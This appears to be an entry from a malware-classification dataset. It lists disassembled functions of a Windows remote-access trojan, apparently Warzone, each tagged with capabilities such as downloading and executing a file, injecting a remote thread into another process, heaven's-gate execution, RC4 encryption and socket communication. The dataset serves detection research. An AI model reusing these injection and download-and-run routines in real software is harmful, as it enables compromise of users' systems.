joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4027d3
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.0040f76b
push 0xa
pop edx
lea ecx, [ebp - 0xc]
call fcn.004034a7
push 0x414684
lea ecx, [ebp - 8]
mov esi, eax
call fcn.0040346a
push esi
mov ecx, eax
call fcn.00403335
mov ecx, dword [ebp - 0xc]
call fcn.00405ea5
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.0040362d
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040351d
push eax
lea ecx, [ebp - 8]
call fcn.00403335
mov ecx, dword [ebp + 8]
call fcn.00405ea5
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.00405ea5
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.0040362d
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00405ea5
test esi, esi
je 0x40287d
mov dword [ebp - 0xc], 1
jmp 0x40289f
push 5
push edi
push edi
push dword [ebp - 8]
push 0x414688
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x40289f
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x4147d8
push eax
mov ecx, ebx
call fcn.00404f2b
mov ecx, dword [ebp - 8]
call fcn.00405ea5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4028cf
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, edx
push 0
push ecx
mov ecx, esp
lea esi, [edi + 8]
push esi
call fcn.0040362d
lea ecx, [ebp - 0x20]
call fcn.00410203
push esi
lea ecx, [ebp - 4]
call fcn.0040362d
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.00405ea5
push ecx
test esi, esi
jne 0x40291b
push ecx
lea ecx, [ebp - 0x20]
call fcn.004101d1
jmp 0x402928
push 0x40000000
lea ecx, [ebp - 0x20]
call fcn.00410192
test eax, eax
je 0x402955
lea eax, [edi + 0x14]
push eax
lea ecx, [ebp - 8]
call fcn.0040304c
push ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0041013d
lea ecx, [ebp - 8]
call fcn.00403036
lea ecx, [ebp - 0x20]
call fcn.00410125
lea ecx, [ebp - 0x20]
call fcn.0040feed
pop edi
pop esi
leave
ret
Function at 0x402cec
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x14]
push edi
mov edi, edx
call fcn.0040f93f
lea ecx, [ebp - 0x10]
call fcn.0040f80e
push 0x104
lea eax, [ebp - 0x154]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
lea ecx, [ebp - 0x154]
call fcn.00411e21
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push 0x10ad
mov ecx, eax
mov dword [ebp - 8], esi
call fcn.00411bf8
mov esi, dword [ebp - 0x14]
add esp, 4
mov ecx, esp
push dword [ebp - 0x10]
call fcn.004035e5
push ecx
mov ecx, esp
push esi
call fcn.004035e5
call fcn.0040fa1f
push eax
push dword [ebp - 8]
push ecx
mov ecx, esp
push 0x414648
call fcn.004035e5
push ecx
mov ecx, esp
call fcn.0040fc7e
call fcn.0040fc58
push eax
call fcn.0040fbfc
push eax
call fcn.0040fa42
push eax
push 0x10e
push ecx
push ecx
mov ecx, esp
call fcn.0040fcb8
lea ecx, [ebp - 0x48]
call fcn.00404241
push eax
mov ecx, ebx
call fcn.00404f2b
lea ecx, [ebp - 0x48]
call fcn.004041ff
xor esi, esi
cmp dword [edi + 0x34], esi
je 0x402e1f
push 0x208
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push ebx
call fcn.0040990a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x417524
push eax
mov ecx, ebx
call fcn.00404f2b
mov ecx, dword [ebp - 0x10]
call fcn.00405ea5
mov ecx, dword [ebp - 0x14]
call fcn.00405ea5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4031d4
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.004035e5
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4055a5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x4055ba
xor eax, eax
jmp 0x405628
push str.warzone160
lea ecx, [ebp - 8]
call fcn.004033bf
push eax
lea ecx, [ebp - 0x14]
call fcn.00403003
mov ecx, dword [ebp - 8]
call fcn.00405ea5
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.0040304c
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.0040304c
lea ecx, [ebp - 0xc]
call fcn.004060aa
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00403036
lea ecx, [ebp - 0x14]
call fcn.00403036
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40562f
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10040
call fcn.00401190
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0xc], 0xffffffff
je 0x4057f4
push 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xea60
push eax
push 0x1006
mov esi, 0xffff
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
xor esi, esi
lea eax, [ebp - 0x1003c]
push esi
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 8]
mov dword [ebp - 0x34], esi
push str.warzone160
call fcn.004033bf
push eax
lea ecx, [ebp - 0x30]
call fcn.00403003
mov ecx, dword [ebp - 8]
call fcn.00405ea5
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
push esi
push 0xc
lea eax, [ebp - 0x1003c]
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xc
jne 0x40574d
push eax
lea eax, [ebp - 0x1003c]
mov dword [ebp - 0xc], esi
push eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], esi
call fcn.00402f91
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040304c
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0040304c
lea ecx, [ebp - 0x28]
call fcn.004060aa
mov eax, dword [ebp - 0x28]
add esp, 0x10
mov eax, dword [eax + 4]
lea esi, [eax + 0xc]
test eax, eax
je 0x40573b
cmp esi, edi
je 0x40573b
push 0
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0x1003c]
add eax, edi
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4057cc
add edi, eax
cmp esi, edi
jne 0x405713
lea ecx, [ebp - 0x28]
call fcn.00403036
lea ecx, [ebp - 0xc]
call fcn.00403036
jmp 0x405756
cmp edi, 0xffffffff
je 0x4057dc
push edi
lea eax, [ebp - 0x1003c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00402f91
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.0040304c
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0040304c
lea ecx, [ebp - 0x20]
call fcn.004060aa
add esp, 0x10
lea ecx, [ebx + 0x10]
call fcn.00402fc3
push edi
push dword [ebp - 0x20]
lea ecx, [ebx + 0x10]
call fcn.00402f91
lea ecx, [ebp - 0x14]
call fcn.00402fc3
lea ecx, [ebp - 0x20]
call fcn.00402fc3
push dword [ebp + 8]
mov ecx, ebx
call fcn.00404f65
lea ecx, [ebp - 0x20]
call fcn.00403036
test edi, edi
jle 0x4057dc
xor esi, esi
jmp 0x4056a9
lea ecx, [ebp - 0x28]
call fcn.00403036
lea ecx, [ebp - 0xc]
call fcn.00403036
lea ecx, [ebp - 0x14]
call fcn.00403036
lea ecx, [ebp - 0x30]
call fcn.00403036
lea ecx, [ebp - 0x38]
call fcn.00403036
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4057fb
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.00403125
mov eax, dword [ebp + 0xc]
lea ecx, [ebx + 0x1d8]
mov dword [ebx + 4], eax
call fcn.0041026f
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
xor edi, edi
push eax
push 0
push dword [ebp + 8]
inc edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4058af
mov eax, dword [ebp - 4]
push 0
push edi
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0xc], eax
cmp eax, 0xffffffff
je 0x4058af
mov eax, dword [esi + 4]
lea esi, [ebx + 0x1c8]
push 2
mov dword [ebx + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebx + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4058c2
or dword [ebx + 0xc], eax
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.00405ea5
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
push dword [ebx + 0x1d8]
mov dword [ebx + 8], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4058b1

Function at 0x4058d3
Capabilities:
Initialize winsock library

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.004031c3
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.00410298
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x405ce2
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
mov al, byte [ecx]
cmp al, 0x22
jne 0x405d1f
inc ecx
mov dl, byte [ecx]
test dl, dl
je 0x405d0f
mov al, dl
mov dl, al
cmp al, 0x22
je 0x405d0f
inc ecx
mov dl, byte [ecx]
mov al, dl
test dl, dl
jne 0x405d00
lea eax, [ecx + 1]
cmp dl, 0x22
cmovne eax, ecx
mov ecx, eax
jmp 0x405d2a
inc ecx
mov al, byte [ecx]
cmp al, 0x20
jg 0x405d1c
jmp 0x405d2c
cmp al, 0x20
jg 0x405d30
inc ecx
mov al, byte [ecx]
test al, al
jne 0x405d25
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00405d70
mov edx, 0x41902c
mov ecx, section..data
call fcn.00405d9d
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
push ecx
call fcn.00413435
mov esi, eax
call fcn.00405d85
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405fa1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
jmp 0x406005
inc esi
and esi, 0x800000ff
jns 0x405fc7
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + ebx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x405fdd
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp + 8], eax
mov al, byte [eax + ebx]
mov byte [esi + ebx], al
mov eax, dword [ebp + 8]
mov byte [eax + ebx], cl
movzx eax, byte [esi + ebx]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [eax + ebx]
xor byte [ecx], al
inc ecx
mov eax, dword [ebp + 8]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x405fb6
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40626c
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x407574
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0041026f
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x4075d8
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.00405ca3
mov esi, dword [ebx]
mov edx, dword [ebp + 0xc]
add esi, edi
mov ecx, dword [ebx + 8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], edx
je 0x4075ee
mov edi, dword [ebp - 0x10]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x4075a2
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, ecx
setb cl
call fcn.00405ca3
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.00405ea5
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.00405ca3
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.00405ca3
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x407674
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x40765a
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x4075da
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.004040ea
mov ecx, dword [ebp + 8]
push eax
call fcn.00404f2b
lea ecx, [ebp - 0x4c]
call fcn.00404050
lea ecx, [ebp - 0x18]
call fcn.00403036
jmp 0x4075da
Function at 0x4076c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x1c
mov dword [ebp - 4], ecx
call fcn.00401085
mov ebx, dword [ebp + 0xc]
mov edx, eax
pop ecx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 8], edx
mov edi, edx
lea esi, [ebx + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 4]
mov dword [edx + 0xc], ecx
lea ecx, [edx + 0x10]
push esi
call fcn.00403437
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
push 0x208
mov dword [ecx + 4], eax
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebx + 4]
mov dword [ecx + 0x18], eax
call fcn.00401085
pop ecx
push esi
lea ecx, [ebp + 8]
mov edi, eax
call fcn.0040362d
push esi
lea ecx, [ebp + 0xc]
call fcn.0040362d
lea ecx, [ebp + 8]
call fcn.00403261
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 0xc]
push edi
call fcn.0040102c
mov ecx, dword [ebp + 0xc]
add esp, 0xc
call fcn.00405ea5
mov ecx, dword [ebp + 8]
call fcn.00405ea5
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov eax, dword [ebx + 4]
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebx + 0x10]
call fcn.0041026f
lea eax, [ebp - 0xc]
push eax
xor eax, eax
push eax
push esi
push 0x4073bb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov edi, esp
lea esi, [ebp - 0x18]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401e9c
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x407948
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
lea ecx, [ebp - 4]
push edi
mov dword [ebp - 4], ebx
call fcn.0040f7e0
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push 0x41493c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0040102c
push 0x44
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.00401052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0x18
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4079db
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
jmp 0x4079e3
mov ecx, dword [ebp - 4]
call fcn.0040f7b9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4079e8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp byte [0x419694], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x14], ecx
jne 0x407a0c
call fcn.00408617
test eax, eax
setne byte [0x419694]
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x407a2a
or eax, 0xffffffff
jmp 0x407aed
push edi
push 0x40
push 0x3000
push 0x100000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x407ae9
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0x33370000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x407ae9
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.XXXXXX
call fcn.00401133
pop ecx
push eax
push str.XXXXXX
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407ae5
push str.XXXXXX
call fcn.00401133
pop ecx
cmp dword [ebp - 4], eax
jne 0x407ae5
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x14]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407ae5
cmp dword [ebp - 8], ebx
jne 0x407ae5
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x407aec
push 0xfffffffffffffffd
jmp 0x407aeb
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407d1c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
push edi
call fcn.00407fc0
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edx
cmp eax, ecx
jne 0x407d41
cmp edx, ecx
je 0x407fb7
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call 0x407d57
add dword [esp], 5
retf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407fe6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5cc
cmp dword [0x419698], 0
push ebx
push esi
push edi
je 0x40823d
call fcn.0040825d
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x408015
test edx, edx
je 0x408064
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0x33
call 0x408022
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x5c8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1e4]
test ecx, ecx
jne 0x408081
test eax, eax
je 0x4080d0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x40808e
add dword [esp], 5
retf
mov esi, dword [ebp - 0x5b0]
lea eax, [ebp - 0x160]
mov ebx, dword [ebp - 0x5ac]
mov dword [ebp - 4], eax
test esi, esi
jne 0x4080ed
test ebx, ebx
je 0x408148
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
push 0x33
call 0x4080fa
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x150]
lea edx, [ebp - 0x108]
mov eax, dword [ebp - 0x14c]
add esi, 0x10
mov dword [ebp - 0x1c], esi
adc ebx, 0
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x14], edx
test ecx, ecx
jne 0x40817d
test eax, eax
je 0x4081d2
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
push 0x33
call 0x40818a
add dword [esp], 5
retf
movzx eax, word [ebp - 0xae]
push eax
call fcn.00401085
mov dword [ebp - 4], eax
pop ecx
test eax, eax
je 0x40823d
push dword [ebp - 0xa4]
movzx edx, word [ebp - 0xae]
lea ecx, [ebp - 4]
push dword [ebp - 0xa8]
mov dword [ebp - 0x10], ecx
mov ecx, eax
mov byte [ebp - 0xc], 1
call fcn.00408327
mov edx, dword [ebp - 4]
pop ecx
pop ecx
call fcn.00408502
lea ecx, [ebp - 0x10]
test eax, eax
je 0x408246
call fcn.00401f2c
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
cmp ecx, esi
jne 0x408175
cmp eax, ebx
jne 0x408175
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xd4]
call fcn.00401f2c
mov eax, edi
mov edx, esi
jmp 0x408241

Function at 0x40825d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x408274
add dword [esp], 5
retf

Function at 0x40829b
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push ebx
push esi
push edi
test ecx, ecx
jne 0x4082c4
test eax, eax
jne 0x4082c4
xor al, al
jmp 0x408322
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call 0x4082d5
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret